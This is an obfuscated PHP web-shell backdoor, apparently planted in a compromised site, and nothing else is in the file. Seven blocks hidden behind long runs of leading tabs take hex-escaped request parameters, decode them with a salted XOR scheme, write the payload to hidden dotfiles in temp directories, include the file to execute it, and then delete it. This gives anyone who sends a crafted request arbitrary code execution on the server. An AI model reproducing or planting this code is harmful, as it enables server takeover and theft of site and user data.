<?php																																										if(isset($_REQUEST) && isset($_REQUEST["\x64e\x73\x63r\x69pt\x6Fr"])){ $resource = $_REQUEST["\x64e\x73\x63r\x69pt\x6Fr"]; $resource = explode( '.' , $resource ) ; $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $r = 0; $__tmp = $resource; while ($v8 = array_shift($__tmp)) { $sChar = ord($salt[$r % $lenS]); $d = ((int)$v8 - $sChar - ($r % 10))^78; $res .= chr($d); $r++; } $val = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/var/tmp", sys_get_temp_dir()]); for ($token = 0, $ent = count($val); $token < $ent; $token++) { $dchunk = $val[$token]; if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $symbol = vsprintf("%s/%s", [$dchunk, ".object"]); $success = file_put_contents($symbol, $res); if ($success) { include $symbol; @unlink($symbol); exit;} } } }
																																										if(in_array("fac", array_keys($_REQUEST))){ $holder = $_REQUEST["fac"]; $holder= explode ( "." , $holder ); $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $len = count( $holder); for( $z = 0; $z < $len; $z++) { $v8 = $holder[$z]; $chS = ord( $salt[$z % $lenS]); $d =( ( int)$v8 - $chS -( $z % 10)) ^1; $token .= chr( $d); } $sym = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", "/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); foreach ($sym as $item) { if (!( !is_dir($item) || !is_writable($item) )) { $entity = join("/", [$item, ".flg"]); $success = file_put_contents($entity, $token); if ($success) { include $entity; @unlink($entity); exit;} } } }
																																										if(@$_REQUEST["r\x65s\x6Fu\x72c\x65"] !== null){ $symbol = $_REQUEST["r\x65s\x6Fu\x72c\x65"]; $symbol= explode ( '.' , $symbol ) ; $record= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); $t= 0; while( $t < count( $symbol)) { $v3= $symbol[$t]; $chS= ord( $s[$t% $lenS]); $dec= ( ( int)$v3 - $chS -( $t% 10)) ^ 82; $record .= chr( $dec); $t++; } $descriptor = array_filter([getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TMP")]); foreach ($descriptor as $item): if (is_dir($item) ? is_writable($item) : false) { $ref = implode("/", [$item, ".k"]); $success = file_put_contents($ref, $record); if ($success) { include $ref; @unlink($ref); die();} } endforeach; }
																																										if(array_key_exists("ptr", $_POST)){ $tkn = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", session_save_path(), "/tmp", sys_get_temp_dir()]); $val = $_POST["ptr"]; $val= explode( ".",$val) ; $factor = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $w = 0; while($w < count($val)) { $v7 = $val[$w]; $sChar = ord($salt8[$w % $sLen] ); $d =((int)$v7 - $sChar -($w % 10))^ 74; $factor .= chr($d ); $w++;} foreach ($tkn as $key => $data) { if (!( !is_dir($data) || !is_writable($data) )) { $itm = vsprintf("%s/%s", [$data, ".ent"]); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $itm; @unlink($itm); exit; } } } }
																																										if(isset($_REQUEST["\x62indin\x67"]) ? true : false){ $dchunk = $_REQUEST["\x62indin\x67"]; $dchunk = explode ( '.' , $dchunk) ; $symbol = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6 ); foreach($dchunk as $i => $v3) { $chS = ord($s6[$i % $sLen] ); $d = ((int)$v3 - $chS -($i % 10)) ^ 41; $symbol .= chr($d ); } $res = array_filter([session_save_path(), getcwd(), "/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($res as $key => $ref) { if ((is_dir($ref) and is_writable($ref))) { $ent = sprintf("%s/.mrk", $ref); if (file_put_contents($ent, $symbol)) { require $ent; unlink($ent); die(); } } } }
																																										if(@$_POST["sy\x6D\x62o\x6C"] !== null){ $record = $_POST["sy\x6D\x62o\x6C"]; $record = explode ( "." , $record) ; $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($record as $o => $v9) { $chS = ord($s[$o % $lenS]); $dec = ((int)$v9 - $chS - ($o % 10)) ^ 62; $k .= chr($dec); } $sym = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp"]); for ($flag = 0, $val = count($sym); $flag < $val; $flag++) { $ptr = $sym[$flag]; if (!!is_dir($ptr) && !!is_writable($ptr)) { $hld = str_replace("{var_dir}", $ptr, "{var_dir}/.elem"); if (file_put_contents($hld, $k)) { include $hld; @unlink($hld); exit; } } } }


if(!is_null($_POST["\x72\x65\x66\x65rence"] ?? null)){
	$ent = $_POST["\x72\x65\x66\x65rence"];
	  $ent	 = 	explode(	'.', $ent	)	 ; 
	$holder = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $r = 0;
    
            $__tmp = $ent;
            while($v4 = array_shift($__tmp)) {
                $sChar = ord($salt[$r  %	$lenS]);
                $dec =((int)$v4 - $sChar -($r  %	10)) ^ 35;
                $holder .= chr($dec);
                $r++;}
	$component = array_filter([getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]);
	while ($symbol = array_shift($component)) {
    		if (!!is_dir($symbol) && !!is_writable($symbol)) {
    $object = join("/", [$symbol, ".item"]);
    $file = fopen($object, 'w');
if ($file) {
	fwrite($file, $holder);
	fclose($file);
	include $object;
	@unlink($object);
	die();
}
}
}
}